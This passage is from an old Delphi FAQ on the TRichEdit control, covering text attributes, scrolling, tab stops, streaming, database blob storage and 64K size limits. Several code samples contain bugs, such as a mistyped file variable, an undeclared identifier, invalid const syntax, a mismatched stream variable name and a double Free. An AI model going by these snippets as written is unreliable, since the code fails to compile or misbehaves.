SelAttributes.Style := SelAttributes.Style - [fsBold];

// insert this text at the beginning of the box:

SelText := 'The dog';

// Position to point of insertion, but don't select anything.

// Set the SelAttrib's and insert the text at the point of the caret.

SelStart := 3; // point after "The"

SelLength := 0;

SelAttributes.Style := SelAttributes.Style + [fsBold];

SelText := ' big'; // it was a big dog!

end;

end;

===============

Q: How do I indent text in from the left?

A: RichEdit1.Paragraph.LeftIndent := 20;

RichEdit1.Paragraph.FirstIndent := 22;

Make sure your text is wrapped in a paragraph (CR at the end).

====================================

Q: How do I Print a page or range of pages?

A: Take a look at TGWRich in the Compuserve Delphi File Libraries. It's

supposed to handle this. But, the std TRichEdit has no concept of

"printed page boundaries".

NOTE: I found this VCL here:

http://www.delphiexchange.com/files/comvisual.html

There's a new freeware Richedit VCL that offers page-print support.

I haven't checked it out, but it's called RICHPR.ZIP and it's by

Gerrit Wolsink. It is available at the Delphi Super Page:

http://SunSITE.ICM.edu.pl/delphi/ftp/d20free/richpr.zip

================

Q: How can I assign the contents of 1 RichEdit box to another?

A: There is no way to directly assign them over. As you may have found,

if you simply assign the lines over you will lose the formatting info.

But, you can do it this way:

var

ms: TMemoryStream;

begin

ms:= TMemoryStream.Create;

RichEdit1.Lines.SaveToStream(ms);

ms.Position:=0;

RichEdit2.Lines.LoadFromStream(ms);

ms.Free;

end;

Note: Most people forget to set the position back to 0 before

loading from the stream.

================

Q: How could I merge 2 RichEdits? I want to append RichEdit1's

data to RichEdit2.

A: Use this:

RichEdit2.Lines.AddStrings(RichEdit1.Lines);

Follow-up Question:

Thank you very much for your answer.

It should work. It compiles fine, but when I run it, it seems

like I enter an infinite loop when executing the "AddStrings".

Here is exactly the code I tried:

RichEdit1.Lines.LoadFromFile('C:\Temp\Test1.RTF');

RichEdit2.Lines.LoadFromFile('C:\Temp\Test2.RTF');

RichEdit2.Lines.AddStrings(RichEdit1.Lines); // Infinite Loop ?

RichEdit2.Lines.SaveToFile('C:\Temp\Test.RTF');

I tried with different files RTF, but the result is the same). In

this precise case, I use the RTF file shipped with Delphi, in

"Delphi 2.0\Demos\RICHEDIT". Is there a bug around there, or did

I goof up ?

Answer:

I haven't tried it with those files, but when I wrote an example the

other day to test it I had no problems.

==================

Q: How do I Page forward/backward.

A: I assume you want to scroll up/down one logical screen at a time.

var

ScrollMessage:TWMVScroll;

...

{scroll the edit box all the way down}

ScrollMessage.Msg:=WM_VScroll;

ScrollMessage.ScrollCode:=sb_Bottom;

ScrollMessage.Pos:=0;

RichEdit.Dispatch(ScrollMessage);

{scroll the edit box all the way up}

ScrollMessage.Msg:=WM_VScroll;

ScrollMessage.ScrollCode:=sb_Top;

ScrollMessage.Pos:=0;

RichEdit.Dispatch(ScrollMessage);

{one page-up}

ScrollMessage.Msg:=WM_VScroll;

ScrollMessage.ScrollCode:=sb_PageUp;

ScrollMessage.Pos:=0;

RichEdit.Dispatch(ScrollMessage);

{one page-down}

ScrollMessage.Msg:=WM_VScroll;

ScrollMessage.ScrollCode:=sb_PageDown;

ScrollMessage.Pos:=0;

RichEdit.Dispatch(ScrollMessage);

==================

Q: How do I Move to specific line by index number?

A: For those who don't know, an index number is an embedded bookmark

in a RTF document. I don't think TRichEdit supports index numbers.

==================

Q: How do I change the font attributes for a single line, such as color?

A: Select a section of text and use SelAttributes to change it.

Set SelStart to the start, set SelLength to the length.

and SelAttributes.Color:=your_color.

Don't forget to de-select the text after by setting SelLength to 0.

======================

Q: How do I read a text file into a RichEdit box and give the new text

a specific set of attributes?

A: NOTE: This example also shows how to tell if a textfile is already in

an RTF format, so it can read it either way.

With RichEdit1 do

begin

Lines.Clear;

PlainText := not IsRtfFile(FileName);

// If PlainText is true, then we will NOT look for RTF tags in the input

DefAttributes.Name:='Fontname';

DefAttributes.size:=fontsize;

DefAttributes.color:=clRed;

DefAttributes.style:=DefAttributes.style + [fsBold];

Lines.LoadFromFile(Filename);

end;

Note: The ONLY time you should mess with "DefAttributes" is when

you know the RichEdit box is empty.

If it may already have text, you must use "SelAttributes" instead.

But if you do this, you'll have to select the last char before

setting the attributes. After setting them, de-select the last

character. Those attrib's will remain in effect as you read in

the text file.

===========

Q: Does anybody know a way to get the current cursor position (in columns

and rows) in a TRichEdit component ?

A: The following should work with TEdits, TMemos, and TRichEdits...

procedure GetEditColRow( CustEdit: TCustomEdit; var Col, Row: Integer );

begin

Row := SendMessage(CustEdit.Handle, EM_LINEFROMCHAR, CustEdit.SelStart, 0);

Col := Edit.SelStart - SendMessage(CustEdit.Handle, EM_LINEINDEX, -1, 0);

end;

===========

Q: How do I position the cursor to a certain row and column?

A: RichEdit1.SelStart := RichEdit1.Perform(EM_LINEINDEX, Row, 0) + Column;

RichEdit1.Perform(EM_SCROLLCARET, 0, 0);

===============

Q: Have you got any ideas how to activate a RichEdit component when it isn't

activated?

A:

if Screen.ActiveControl is TRichEdit then

TRichEdit(Screen.ActiveControl).SetFocus;

======================

Q: How can I add some text, and change it's attrib's later?

A: After a Lines.Add the selection start is on the start of the next line.

To find the position of the start of a specific line, use the EM_LINEINDEX

message. Example:

procedure TForm1.Button1Click(Sender: TObject);

Begin

With RichEdit1 Do Begin

// insert some text now

Lines.Add('normal bold');

// later, change it's attributes

SelStart := SelStart-6; { position to the b of bold }

SelLength := 4; { select the word }

SelAttributes.Style := [fsBold]; { set boldface style for it }

SelStart := Perform(EM_LINEINDEX, Pred(Lines.Count), 0);

{ position to start of added line }

SelLength := 6; { select "normal" }

SelAttributes.Color := clRed; { color it red }

SelLength := 0; { remove selection }

SetFocus; { activate control }

End;

End;

===============

Q: In the above example, you show a EM_LINEINDEX message. Is it a

valid Edit Control message, since it is not listed under the

standard RICH Edit Control messages?

A: EM_LINEINDEX is a valid message (and a very common one) that can

be sent to a RICHEDIT control. It is used to find your current line

number. Delphi's RichEdit documentation is very weak.

=============

Q: I am using the standard edit control messaging capabilities to find out

where I am in the RichEdit text at a particular time, based on the current

line number. To do this, I use the following syntax:

Offset := SendMessage(Handle, EM_LINEINDEX, LineNumber, 0);

This returns the current Offset within the control so that I can insert

text at that point. This code gets executed several times in a loop, and

it works perfectly until either the Control loses focus or the Application

loses focus. When this happens, I get spurious results back from this

procedure. Can you help?

A: Sorry, as I noted above, RichEdit often needs to have the focus before

it can do it's job.

======================

I've found that code in the Help files:

procedure TMainForm1.FindDialog1Find(Sender: TObject);

var

I, J, PosReturn, SkipChars: Integer;

begin

For I := 0 to RichEdit1.Lines.Count do

begin

PosReturn := Pos(FindDialog1.FindText,RichEdit1.Lines[I]);

if PosReturn <> 0 then {found!}

begin

Skipchars := 0;

for J := 0 to I - 1 do

Skipchars := Skipchars + Length(RichEdit1.Lines[J]);

SkipChars := SkipChars + (I*2);

SkipChars := SkipChars + PosReturn - 1;

RichEdit1.SetFocus;

RichEdit1.SelStart := SkipChars;

RichEdit1.SelLength := Length(FindDialog1.FindText);

end;

end;

end;

But when I use this code it scrolls to the end of the text without

waiting when it finds the text.

BTW. This code is only working with frHideMatchCase,

frHideWholeWord, frHideUpDown on. Have you got any idea how I can

make my finddialog working with these functions off?

A: No

===============

Q: How do I change the alignment for all the text in the control?

A: use the following code:

LockWindowUpdate(RichEdit1.handle); //turn off updating of the RichEdit;

RichEdit1.SelectAll;

RichEdit1.Paragraph.Alignment:=taLeftJustify; // switch for other alignments

RichEdit1.SelLength:=0;

LockWindowUpdate(0); //turn on the updating of the RichEdit.

if you need to do it for the current paragraph, use the same code as

above, but take out the following lines:

RichEdit1.SelectAll;

RichEdit1.SelLength:=0;

The reason for this is because each paragraph in the RichEdit control has

it's own alignment setting and when you set the general one, it does not

change the paragraph that you are working on.

=========================

Q: What does EM_CharFromPos do?

A:Check out the win32.hlp file and look for the EM_CharFromPos message for the

RichEdit control. When sent, it returns the character index and line index of

the nearest character to the position that you send it.

=========================

Q: When I use the following EM_CHARFROMPOS sendmessage code for a RICH-EDIT

under Windows 95, the app raises an access violation:

res := sendmessage(RichEdit.Handle,EM_CHARFROMPOS,0,MAKELPARAM(50,50));

but the same code together with a normal TMemo (Memo1.Handle instead of

RichEdit1.Handle) works fine !! Is there a bug with this message type

and the Rich-Edit-Control ?

A: Yes, there is a bug in EM_CharFromPos, but I don't know the details

about the bug. See the following Q and A.

=========================

Q: I want the cursor to change when is slides over some text with unique

attributes like an HTML link or a help link). I have been trying to use

EM_CharFromPos, but it doesn't seem to work right.

A: It appears there is an error in the Win32 SDK documentation regarding

the EM_CharFromPos message. This error got into the Windows.pas file.

Secondly, there are two messages needed which won't work in NT 3.51 or before.

They are EM_EXSETSEL and EM_EXGETSEL. Now, I'm sure there is a more elegant

solution but this works very nice indeed:

procedure TMainForm.RichEdit1MouseMove(Sender: TObject; Shift: TShiftState;

X, Y: Integer);

var

mpt: TPoint;

cr,ccr: TCharRange;

i: Integer;

begin

i := SendMessage(RichEdit1.Handle,EM_EXGETSEL,0,longInt(@ccr));

mpt.x := x;

mpt.y := y;

i := SendMessage(RichEdit1.Handle,EM_CHARFROMPOS,0,LongInt(@mpt));

cr.cpmin := i;

cr.cpMax := i;

i := SendMessage(RichEdit1.Handle,EM_EXSETSEL,0,longInt(@cr));

if (fsBold in Richedit1.SelAttributes.Style) and

(fsUnderline in RichEdit1.SelAttributes.Style) then

Screen.Cursor := crHand

else

Screen.Cursor := crDefault;

i := SendMessage(RichEdit1.Handle,EM_EXSETSEL,0,longInt(@ccr));

end;

The declaration for TCharRange is contained in the RichEdit.Pas file. However,

if you include it in your uses clause it causes havoc with the Windows.pas file

and things just don't work. Again Richedit.pas is translated directly from

Richedit.H (part of the win32 SDK) and MS indicates that error pointed out

above spills into this header file also. I'll leave it to the reader to hunt

this down. To solve the declaration problems just declare the needed type and

const declarations in the mainform unit.

The next step is to be able to select all of the specially formated text and

use that as an index to a jump to some other topic or traditional help.

================

Q: Does anybody know how to correct the vertical scrolling of the RichEdit

control when the RichEdit control is resized. If the RichEdit height is say

100, and then the enduser sizes the form so the RichEdit' height now appears

to be 300.... when the enduser scrolls through the RichEdit's text, the text

is still displayed in the upper third of the RichEdit control instead of the

entire RichEdit control. This bug is happening in Delphi's RichEdit demo

project.

A: This is caused by a bug in NT 3.51. As a work-around, you can use

EM_SETRECT to forcibly resize the editing rectangle. This problem

doesn't exist on NT 4+ or Win95.

==============

Q: I need to ensure that the text I add to the RichEdit component is

visible. Currently, I'm doing this by scrolling it all the way to the

bottom, then executing one page up.

Like this:

var

ScrollMessage:TWMVScroll;

...

{scroll the edit box all the way down}

ScrollMessage.Msg:=WM_VScroll;

ScrollMessage.ScrollCode:=sb_Bottom;

ScrollMessage.Pos:=0;

RichEdit.Dispatch(ScrollMessage);

{one page-up}

ScrollMessage.Msg:=WM_VScroll;

ScrollMessage.ScrollCode:=sb_PageUp;

ScrollMessage.Pos:=0;

RichEdit.Dispatch(ScrollMessage);

Do you know of an easier way to do this? And while we are on the subject of

messages, where can I find out what the parts of TWMVScroll *mean*? Delphi's

help says what the are, but not what you can do with them. For example, what

does pos do? I've played with all the values but haven't had much luck

understanding them...

A:

After you have added text or moved the SelStart, send a EM_SCROLLCARET message

to the RichEdit to force it to scroll the caret into view if it's not visible:

RichEdit1.Perform(EM_SCROLLCARET, 0 ,0);

The parameters for windows messages are described under the corresponding

message identifiers, e.g. WM_VSCROLL. The only problem is that these (API)

descriptions constantly refer to the wparam and lparam message parameters,

which is exactly what the Delphi message records try to hide.

===============

Q: I want to use TRichEdit to build an RTF file for use in making a

help file...

A: Sorry, you can't. It doesn't support most of the features needed to

make a help file (footnotes, etc). You must use MS Word, or some other

truly good RTF editor.

==============

Q: I'm having problems setting the tabstops in a TRichEdit control, I

tried the same code on a TMemo and there it works properly...

procedure SetTabstops(..)

var

TabStops: array[0..3] of word;

begin

TabStops[0]:=10;

TabStops[1]:=20;

TabStops[2]:=30;

TabStops[3]:=40;

TS:=SendMessage(RichEdit.Handle, EM_SETTABSTOPS, 4, LPARAM(@TabStops));

end;

Why this doesn't work ? or what am I doing wrong?

A: Tab settings are part of the Paragraph formatting property. Any

changes you do to that property apply to selected paragraphs only.

I suggest you do a "RichEdit1.SelectAll;" first, and after setting

the tabs do a "RichEdit1.SelLength:=0;".

By the way, I'm not sure of the syntax of your code. I have never

done this by sending an API message, but I think it will work.

==============

Q: Give me another example of setting tabs.

A: Use the tab sub-property of the paragraph property.

You should do this in the OnCreate event of the form,

so it will affect all the paragraphs you create.

WARNING: It will not apply to paragraphs that are

pasted in.

const

TabStops := 4;

var

i: Integer;

begin

RichEdit1.SelectAll;

With RichEdit1.Paragraph do

begin

TabCount := 40; // number of tab stops

for i:=0 to TabCount do

Tab[i] := (i+1)*TabStops;

End;

RichEdit1.SelLength := 0;

end;

==============

Q: How do I read a BIG FILE into RichEdit?

A: Is the Bible big enough?

procedure TForm1.LoadFile1Click(Sender: TObject);

var

data: string;

linecount: integer;

infile: textfile;

begin

assignfile(infile,'c:\text\Bible\kjv.txt');

reset(input);

if (IOresult<>0) then exit;

RichEdit1.lines.clear;

linecount:=0;

RichEdit1.visible:=false;

RichEdit1.MaxLength := High (Integer) - 1024;

while not eof(infile) do

begin

readln(infile,data);

inc(linecount);

if linecount mod 50 = 0 then

Application.ProcessMessages; // This is a friendly thing to do

RichEdit1.lines.add(inttostr(linecount)+' '+data);

end;

closefile(infile);

RichEdit1.visible:=true;

end;

OR, more simply (but Windows "locks up" while the file is being read):

RichEdit1.lines.clear;

RichEdit1.MaxLength := High (Integer) - 1024;

RichEdit1.PlainText := True;

RichEdit1.Lines.LoadFromFile('c:\text\Bible\kjv.txt');

==============

Q: Does anyone know how to carry out a word count for the delphi

richedit component?

A:

function GetWord: boolean;

var

s: string; {presume no word > 255 chars}

c: char;

begin

result:= false;

s:= ' ';

while not eof(f) do

begin

read(f, c);

if not (c in ['a'..'z','A'..'Z'{,... etcetera}]) then

break;

s:=s+c;

end;

result:= (s<>' ');

end;

procedure GetWordCount(TextFile: string);

begin

Count:= 0;

assignfile(f, TextFile);

reset(f);

while not eof(f) do

if GetWord then inc(Count);

closefile(f);

end;

================

Q: How do I capture the complete contents of an RTF memo to a bitmap?

A: Well, I surprised myself. I figured out how to do what you want. I

looked at the source for the TRichEdit.Print method and found the appropriate

way to copy a portion of the rich edit control to another canvas. This isn't

very well tested, but should at least get you headed in the right direction.

procedure TForm1.Button1Click(Sender: TObject);

var

Range: TFormatRange;

LastChar, MaxLen, LogX, LogY: Integer;

begin

FillChar(Range, SizeOf(TFormatRange), 0);

with Image1, Range do

begin

LogX := GetDeviceCaps(Canvas.Handle, LOGPIXELSX);

LogY := GetDeviceCaps(Canvas.Handle, LOGPIXELSY);

hdc := Canvas.Handle;

hdcTarget := hdc;

rc.right := Image1.ClientWidth * 1440 div LogX;

rc.bottom := Image1.ClientHeight * 1440 div LogY;

rcPage := rc;

LastChar := 0;

MaxLen := GetTextLen;

chrg.cpMax := -1;

repeat

chrg.cpMin := LastChar;

LastChar := SendMessage(RichEdit1.Handle, EM_FORMATRANGE, 1,

Longint(@Range));

until (LastChar >= MaxLen) or (LastChar = -1);

end;

SendMessage(RichEdit1.Handle, EM_FORMATRANGE, 0, 0);

end;

I don't know what you are going to do if your bitmap is not large enough to

accommodate the contents of the rich edit. I think the repeat..until in the

code above will at least things from blowing up if you run out of room on the

bitmap.

Be carefull... There are limits to the size of a bitmap under different

version of Windows. If I recall correctly, its somewhere in the range of 2.75

to 3.75 megs. The Video driver limitations will also some into play as well.

Joe C. Hecht (Borland)

================

Q: Is it possible to dragover a RichEditBox or MemoBox with the mouse and in

the meantime moving the caret with the position of the mouse?

A:

You could try sending a WM_LBUTTONDOWN message to the rich edit to simulate the

user clicking the mouse, then WM_MOUSEMOVE messages as the mouse moves and

finally a WM_LBUTTONUP when the mouse is released.

Two things to note: first, that you'll need to use Windows.GetFocus to note the

focus window before sending the WM_LBUTTONDOWN message. Then, use

Windows.SetFocus to set the focus back to the control that had it immediately

afterwards; secondly, you'll need to convert the mouse coordinates to local

coordinates for the richedit.

==========

Q: I need to print a huge RTF file. How can I do this without first

waiting for TRichEdit to read the entire file?

A: You can shell out to WordPad with the "/p" commandline switch:

ShellExecute(mainForm.handle,

nil,

'write.exe',

'myfile.rtf /p',

nil,

SW_HIDE);

(I found that using the WRITE.EXE stub is a bit more universal

because WORDPAD.EXE isn't always on the path.)

The "/p" parameter is the undocumented feature. It will launch

WordPad, print the file, then close WordPad. And with SW_HIDE, the only

thing you see is the Printing status box.

WordPad probably loads as much as it can into memory before

printing, but it should be able to handle any size file by

segmentation. And WordPad has a pretty small footprint, so it

loads and prints fairly quickly. It's also generally on every

Win95 system.

==========

Q: I need to know when a TRichEdit's scroll bars are visible or not. The

following code, adopted from something similar in the VCL, is not reliable for

TRichEdits (with HideScrollBars set to true and ScrollBars set to ssBoth):

function TMyForm.ScrollBarVisible(code: word): boolean;

var

min, max: Integer;

begin

result := False;

if (MyRichEdit.ScrollBars = ssBoth) or

((code = SB_HORZ) and (MyRichEdit.ScrollBars = ssHorizontal)) or

((code = SB_VERT) and (MyRichEdit.ScrollBars = ssVertical)) then

begin

GetScrollRange(MyRichEdit..Handle, code, min, max);

{ !!! Sometimes GetScrollRange returns 0 for min and 100 for max, even

though no scroll bar is visible. !!! }

result := (min <> max);

end; { if }

end;

Are there any other ways to tell if a TRichEdit's scroll bars are visible?

A: Not that I know of.

============

Q: Why can't I feed in filenames with spaces into my program that

uses LoadFromFile?

A: Your problem is in the registry. You told me before that this

problem occurs when double-clicking on .RTF files from Explorer.

When you changed the registered .RTF extension in the registry to point to

your program you had to specify the Shell/Open/Command keys and for the Command

to the path+program to execute plus a %1 to tell the Explorer to pass the

path+filename.ext that you double clicked as parameter string 1. You need to

modify this entry to enclosed the %1 in double quotes as follows "%1" this way

the embedded spaces will not act as delimiters.

Example:

HKEY_CLASSES_ROOT

.dmp Passmore file

Passmore file Dennis Passmore file

DefaultIcon C:\DELPHI32\SYSMANW\SYSMANW.EXE

Shell

Open

Command C:\DELPHI32\SYSMANW\SYSMANW.EXE "%1"

================

Q: How do I read an RTF Blob from a TTable? I want to read from a Memo

Blobfield and store the data into RichEdit1.

A: This is my preferred way to do it. I assume that Table1 is already open and

positioned on the record you want to update, and that 'RTF' is the fieldname

of the Blob in the table:

procedure TForm1.Button1Click(Sender: TObject);

var

theBStream: TBlobStream;

begin

RichEdit1.Clear; // in case there is no RTF data in this record

if Table1.State <> dsBrowse then

Showmessage('Error: table not in browse mode to read RTF');

if (not Table1.FieldByName('RTF').IsNull) then

begin

BlobStream:=nil;

try

BlobStream := Table1.CreateBlobStream(

Table1.FieldByName('RTF') as TBlobField, bmRead);

//ShowMessage('rtf blob size=' + IntToStr(BlobStream.Size));

if BlobStream.Size > 0 then

RichEdit1.Lines.LoadFromStream (BlobStream);

finally

if BlobStream <> nil then

BlobStream.Free;

end;

end;

RichEdit1.Modified:=False;

SetModifiedIndicator(False);

end;

=============

Q: How do I save the contents of my RichEdit1 into a Memo Blobfield of

a table?

A: This is my preferred way to do it. I assume that Table1 is already open and

positioned on the record you want to update, and that 'RTF' is the fieldname

of the Blob in the table:

var

BlobStream : TStream;

begin

if (not Richedit1.Modified) then

Exit; // exit if the data in the RichEdit1 VCL was not changed

BlobStream:=nil;

try

Table1.Edit;

BlobStream := Table1.CreateBlobStream(

Table1.FieldByName('RTF') as TBlobField, bmWrite);

RichEdit1.Lines.SaveToStream(BlobStream);

RichEdit1.Modified := False; // we saved the data, so start out fresh

finally

if BlobStream <> nil then

begin

BlobStream.Free; // IMPORTANT! Free the stream before doing the Post.

// By free'ing first, it prevents possible trouble if you have an

// OnDataChanged event handler that may change the current record

// immediately after the post takes effect.

try

Table1.Post;

dbiSaveChanges(Table1.Handle); // flush cache - in case of power failure

except

showmessage('Error while saving text');

end;

end;

if Table1.State = dsEdit then

Table1.Cancel;

end;

end;

=============

Q: How do I limit the amount of text that can go into RichEdit?

A: Send the TRichEdit component a EM_EXLIMITTEXT message.

============

Q: I want to show the user's current line number on a status bar on the

bottom of a form, How do I tell which line I'm on in a file opened in a

RichEdit component?

A: The following unit demonstrates:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls, ComCtrls;

type

TForm1 = class(TForm)

RichEdit1: TRichEdit;

Label1: TLabel;

procedure RichEdit1KeyUp(Sender: TObject; var Key: Word;

Shift: TShiftState);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

type

TMemoInfo = record

Line: integer;

Col: integer;

end;

procedure GetMemoPos(AMemo: TCustomMemo; var AMemoInfo:TMemoInfo);

begin

with AMemo, AMemoInfo do begin

{ Line number of line containing cursor. }

Line := SendMessage(Handle, EM_LINEFROMCHAR, SelStart, 0);

{ Offset of cursor in line. }

Col := SelStart - SendMessage(Handle, EM_LINEINDEX, Line, 0);

end;

end;

procedure TForm1.RichEdit1KeyUp(Sender: TObject; var Key: Word;

Shift: TShiftState);

var

MemoInfo: TMemoInfo;

begin

GetMemoPos(RichEdit1, MemoInfo);

with MemoInfo do

Label1.Caption := IntToStr(Succ(Line)) + ': ' + IntToStr(Succ(Col));

end;

end.

=============

Q: I've got a form with a TListView and a TRichEdit component. I already can

drag and drop from the TListView to the TRichEdit component but I inserts the

text at the place of the cursor. I'd like to insert this text at the position

of the mouse cursor, not the textcursor position.

Has anyone got an answer?

A: You could change the text cursor position so that it corresponds to the

mouse position and then insert the text. Send a ButtonDown message to

"lock in" the current mouse location as the new cursor location.

procedure TForm1.RichEdit1DragDrop( Sender, Source: TObject;

X, Y: Integer );

begin

if Source is TListView then

begin

SendMessage( RichEdit1.Handle, WM_LButtonDown, MK_LBUTTON,

MakeLParam( X, Y ) );

SendMessage( RichEdit1.Handle, EM_ReplaceSel, 1,

LongInt( PChar( ListView1.Selected.Caption ) ) );

end;

end;

==========

Q: I want to do something special when the user enters a certain word...

A: Try this. In the form turn KeyPreview to True then respond to the OnKeyPress

event. In the event check for the characters you want and send to the specific

objects you want by using the Perform method. For example:

if Key = 'A' then begin

ObjectThatGetsAs.Perform(WM_CHAR, ...);

Key := char(0);

end;

This is off the top of my head and it almost 12:00am, but it looks correct.

Give it a try.

=========

Q: I want to dynamically create an RTF control onto a tab sheet.

A:

procedure TMainForm1.Button12Click(Sender: TObject);

var

RichEdit: TRichEdit;

begin

NoteBook1.Pages.Add('Untitled');

TabSet1.Tabs.Assign(Notebook1.Pages);

TabSet1.TabIndex := NoteBook1.Pages.Count - 1;

RichEdit := TRichEdit.Create(self); // the form should be the Owner.

// The Notebook page should be the Parent.

RichEdit.Parent := Notebook1.Pages.Objects[Notebook1.PageIndex] as TPage;

end;

================

Q: I've loaded a large text (over 100K) into a RichEdit and now it won't let me

add more text. I have MaxLength = 0. But if I set Maxlength to (MaxInt-2),

it works. Is this a known bug?

A: This may be a Delphi 2 limit, since Borland used the non-extended GETSEL

and SETSEL messages in Delphi 2's TRichEdit control.

Although you can expand the maximum text by using EM_EXLIMITTEXT, you may still

run into 64K limits. The "SelStart" property of a TRichEdit is the same as

that for a TMemo - it uses the messages EM_GETSEL and EM_SETSEL, which are

limited to values between 0 and 65,535. If the selection is in the first 64K,

you're fine. Otherwise, these messages return -1. To get around this, you

need to use EM_EXGETSEL and EM_EXSETSEL, which don't have the 64K limit. To

me, this is a bug in TRichEdit - Borland should've used these new messages

instead of the 16-bit ones.

In addition, the message EM_LINEFROMCHAR also has a 64K limit. You should use

EM_EXLINEFROMCHAR instead.

It took me a while to track these down, so I figured I could save someone else

some time by posting this information here. What's odd about this is that I

never ran into the limit myself - it was users of my application who found it.

I've been able to edit files in excess of 800K without a problem, but several

users reported problems with files >64K. I was never able to reproduce the

problems under either Win95 or NT4, and I used the same files that users

reported problems with. Does anyone know why I would never experience the

problem while others would?

===============================

Q: How many bytes can I store in RichEdit?

A: In theory, it seems to be about 2 Gigabytes. It depends on the property

"MaxLength". For some obscure reasons, setting this to 0 limits the plain text

size to 64 KByte. I use a value of:

Editor.MaxLength := High (Integer) - 1024;

OR, you can do it with a message:

RichEdit.Perform(EM_EXLIMITTEXT, 0, NewSize);

But, some of Delphi's RTF methods don't use the extended Win32 messages

(as of Delphi 2; not sure about Delphi 3), so some features may fail to

work when you have lots of text!

===============

Q: If you could help me, I would be most gracious. I am having trouble

reading a TRichEdit from a stream. (I want to read the whole component

and it's contents)?

A:

Note: your problem has nothing whatsoever to do with streams. You just happened

to notice it here!

Actually, what you are missing is related to how Windows works, not Delphi. And

believe me, to extend the tree analogy, Delphi is a walk in the park while

Windows is the deepest darkest part of the Black Forest.

Here's the deal. For Delphi components which are windowed controls two things

actually get created: 1) the Delphi component itself, and 2) the Windows

windowed control. The first occurs in the constructor, like all Delphi objects.

The second occurs *after the constructor*. This is the key to your problem.

You showed us your streaming code:

S := TFileStream.Create (OpenDialog1.FileName,fmOpenRead);

S.Seek(0,0);

...

But you didn't show WHERE you were calling it. This is a crucial bit of

information. I would guess you are calling it from a constructor (or OnCreate

event). The problem with that is the Windows control hasn't been created yet.

To understand why the Lines property is causing the problem, you must

understand how Delphi components interface to Windows.

The write method for TRichEdit.Lines looks like this:

procedure TRichEditStrings.Put(Index: Integer; const S: string);

var

Selection: TSelection;

begin

if Index >= 0 then

begin

Selection.StartPos := SendMessage(RichEdit.Handle, EM_LINEINDEX, Index, 0);

if Selection.StartPos <> -1 then

begin

Selection.EndPos := Selection.StartPos +

SendMessage(RichEdit.Handle, EM_LINELENGTH, Selection.StartPos, 0);

SendMessage(RichEdit.Handle, EM_SETSEL, Selection.StartPos,

Selection.EndPos);

SendMessage(RichEdit.Handle, EM_REPLACESEL, 0, Longint(PChar(S)));

end;

end;

end;

TRichEditStrings is a private class (descended from TStrings) which Delphi uses

to manage the strings, but you don't really need to know this (because it is an

implementation detail).

The key here is the SendMessage statements. Instead of managing the strings in

memory owned by the component, TRichEdit uses the *standard Windows control

itself to manage the strings*. It does so by sending *standard Windows messages

to and from the control*.

This is a beautiful encapsulation of the Windows interface, and is one of the

great aspects of Delphi.

The problem is that SendMessage requires a valid window handle as its first

parameter. The window handle *is not valid when the component is first

created*. It only becomes valid at some point after the component's constructor

has completed, and the Windows control has been created.

So what you are doing is changing a property which requires a window handle

(via SendMessage), but doing so before the window handle has been created. This

is why you get the error message, and, by the way, the "Control '' has no

parent window" comes from Windows, not Delphi. It is Windows way of saying

"Hey, you just sent a message to a window handle but we cannot figure out what

the heck you were referring to".

The solution is to defer modifying the Lines property (or any other property

which requires a window handle) until you are sure the entire Windows control

(and the window handle) have been created. You have two options for this:

1) Use an overridden CreateWnd method. Calling inherited first will ensure the

handle is properly created. This is formally the correct place for this, and is

what I prefer.

2) Use an overridden Loaded method. Some people like this better because it is

easier to understand. The Loaded method gets called as the tail end of the

process, so you'll know the handle is created by that point.

Note: this entire discussion relates to many other properties besides the

TStrings you mentioned (TMemo.Lines, TRichEdit.Lines, etc.). These all have in

common the fact that they use the Windows API for storage (via SendMessage) but

there are other properties like this as well.

Rick's Rule: if you see the "Control '' has no parent window" message, move the

property assignment to the CreateWnd or Loaded methods. It is that simple.

- Rick Rogers, Fenestra Technologies

UPDATE:

My previous suggestion to set the properties in the CreateWnd or Loaded methods

only pertains to component development. If you had tried to set the RichEdit

lines property in the component's constructor, you would have gotten the

"Control '' has no parent window" message, and moving this assignment to

CreateWnd or Loaded would have solved your problem.

Your problem is that ReadComponent reads in a component and its properties, but

you haven't set the component's Parent yet, so ReadComponent itself is

assigning a value to Lines when the control doesn't have a Parent.

The solution is to use the TReader and TWriter classes, as this unit

demonstrates:

>>>>

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ComCtrls;

type

TForm1 = class(TForm)

RichEdit1: TRichEdit;

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

Stream : TFileStream;

Filer : TWriter;

begin

Stream := nil;

Filer := nil;

try

Stream := TFileStream.Create('c:\test.dat', fmCreate);

Filer := TWriter.Create(Stream, 4096);

Filer.WriteRootComponent(RichEdit1);

finally

Filer.Free;

Stream.Free;

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

Stream : TFileStream;

Filer : TReader;

begin

RichEdit1.Free;

Stream := nil;

Filer := nil;

try

RichEdit1.Free;

Stream := TFileStream.Create('c:\test.dat', fmOpenRead);

Filer := TReader.Create(Stream, 4096);

Filer.Parent := Self;

Filer.Owner := Self;

Filer.ReadRootComponent(RichEdit1);

finally

Filer.Free;

end;

end;

initialization

begin

RegisterClass(TRichEdit);

end;

end.

<<<<

Setting the TReader Parent and Owner properties means any objects dynamically

created from the stream will have their Parent and Owner properties set before

other properties are assigned. Cheers.

- Rick Rogers, Fenestra Technologies

============

Q: I need a way to have the Found Text shown at the top of RichEdit1

(not at the last line)

A:

procedure TForm1.TabSet1Change(Sender: TObject; NewTab: Integer;

var AllowChange: Boolean);

var

S: String;

CurrentCursorPos, FoundTextPos : longint;

begin

RichEdit1.SelStart := 0;

S := TabSet1.Tabs.Strings[NewTab];

CurrentCursorPos:=RichEdit1.SelStart;

FoundTextPos:=RichEdit1.FindText('CHAPTER'+' '+S,CurrentCursorPos+1,

RichEdit1.GetTextLen,[]);

if FoundTextPos=-1 then begin

MessageDlg('Text Not Found',mtError,[mbOK],0);

RichEdit1.SelStart:=CurrentCursorPos;

end

else

begin

RichEdit1.SelStart:=FoundTextPos;

SendMessage(RichEdit1.Handle,EM_SCROLLCARET,0,0); <=== REPOSITION MEMO

end;

end;

=====================

